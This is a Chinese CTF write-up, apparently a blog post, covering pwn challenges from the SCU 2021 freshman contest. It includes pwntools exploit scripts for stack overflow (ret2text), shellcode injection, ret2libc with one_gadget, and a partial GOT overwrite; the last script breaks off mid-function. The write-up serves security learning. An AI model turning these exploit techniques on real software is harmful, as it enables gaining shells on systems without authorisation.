SCU新生赛2021 pwn wp

本文总结了极客大挑战和SCU新生赛中的技术挑战,涉及栈溢出、基础shellcode编写、ret2libc技巧、UAF漏洞利用和Tcache攻击等,通过实例展示了如何解决和利用这些技术点。

前段时间的极客大挑战2021和2021年的SCU新生赛,最后一道题都没有做出来,作为一枚大二学长确实应该反省一下自己了。太菜了呜呜呜。极客大挑战因为打太久了,题目都快忘记了,就不写wp了。

ret2text

简单的栈溢出,pwn里的hello world。

from pwn import *

r = process("/mnt/hgfs/ubuntu/stackoverflow")
elf = ELF("/mnt/hgfs/ubuntu/stackoverflow")
payload = b'a'*0x38+p64(elf.symbols["backdoor"])
r.recvuntil(b"Do you know stack overflow and ret2text?")
r.sendline(payload)
io.interactive()

ret2shellcode

最基础的shellcode,可以自己写,也可以直接用pwntools里的shellcraft模块

from pwn import *
context(arch="amd64",os="linux")
r = process("/mnt/hgfs/ubuntu/ret2shellcode")
r.recvuntil(b"Your input will be saved at ")
shellcode_addr = int(r.recvuntil(b'\n'),16)
shellcode = asm(shellcraft.sh())
r.recvuntil("Input: ")
payload = shellcode.ljust(0x88,b'a')+p64(shellcode_addr)
r.sendline(payload)
r.interactive()

quiz

在线测试题,主要考察整数溢出和汇编的问题。

ret2libc

链接:https://pan.baidu.com/s/1T94IbzZpAWCherOfZl5xQw
提取码:F1re

checksec一下,除了canary保护外全开。

思路

0x1地址泄露

1

choice选择1后可以泄露一些地址,其中泄露了一个函数的地址,和puts函数的地址,可以通过这两个得到elf文件基址和libc基址。

0x2栈溢出

2

然后就是choice选择2后一个明显的栈溢出漏洞。

不过这道题有点搞的是,我用system+/bin/sh的方式不能getshell,最后用one_gadget成功getshell。最后注意用一个ret指令平衡栈帧。

exp

from pwn import *
libc = ELF('/mnt/hgfs/ubuntu/ret2libc/libc-2.23.so')
# r = process('/mnt/hgfs/ubuntu/ret2libc/ret2libc')

r.recvuntil("Your choice: ")
r.sendline(b'1')
r.recvuntil("You need to figure it out:")
r.recvuntil("0xdeadbeef ")
elf_addr = int(r.recv(14),16)
elf_base = elf_addr-0x13d3
r.recv(1)
puts_addr=int(r.recv(14),16)
print(hex(puts_addr))
libc_base=puts_addr-libc.symbols["puts"]
system_addr = libc_base+libc.symbols["system"]
bin_sh = 0x18ce57
one_gadget = libc_base+0xf03a4
pop_rdi = 0x1613+elf_base
ret = elf_base+0x101a
print("elf_base:"+hex(elf_base))
print("libc_base: "+hex(libc_base))
r.recvuntil("Your choice: ")
# payload = b'a'*0x18+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system_addr)
payload =b'a'*0x18+p64(ret)+p64(one_gadget)
r.sendline(b'2')
r.recvuntil("input: ")
r.sendline(payload)
r.interactive()

got_it

链接:https://pan.baidu.com/s/1V9_FA8XIHravKt9ZtXhQIw
提取码:F1re

checksec一下,除了RELEO保护,其他保护全开。

函数定义了一个数组,数组储存了几个学pwn的经典网站,函数有三个功能:

  • show:展示数组内某一个网站的网址。

  • edit:修改某一个网址的内容。但是可以看到输入长度0x12大于其数组元素长度0x8,存在溢出。

  • exit:退出程序。

思路

0x1溢出

3

存在0x8的溢出长度。

0x2控制函数指针

4

其中0x36E0后储存的是数组变量的地址。

而0x36E0前储存的是数组变量。

结合之前我们发现的0x8的溢出长度,可以对0x36D0处最后一个网址使用edit函数,可覆写到储存第一个数组元素的指针。

0x3 pie绕过,改写GOT表

由于程序未开RELEO保护,我们可以考虑改写函数GOT表,又由于程序开了pie保护,我们打算用partial write绕过。

5

发现atoi_addr与第一个函数指针之间只有最后一个字节不一样。因此我们只用覆写指针第一个字节为’\x40’。利用show函数泄露函数真实地址,从而计算出libc基址,然后再edit数组第一个元素,即可把atoi_got改写为one_gadget的值。

exp

from pwn import *
# r = process('/mnt/hgfs/ubuntu/got_it/got_it')
elf = ELF('/mnt/hgfs/ubuntu/got_it/got_it')
libc = ELF('/mnt/hgfs/ubuntu/got_it/libc-2.23.so')

def show(id):
    r.recvuntil("> ")
    r.sendline(str(1))
    r.recvuntil("which? ")
    r.sendline(str(id))

def edit(id,content):
  
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值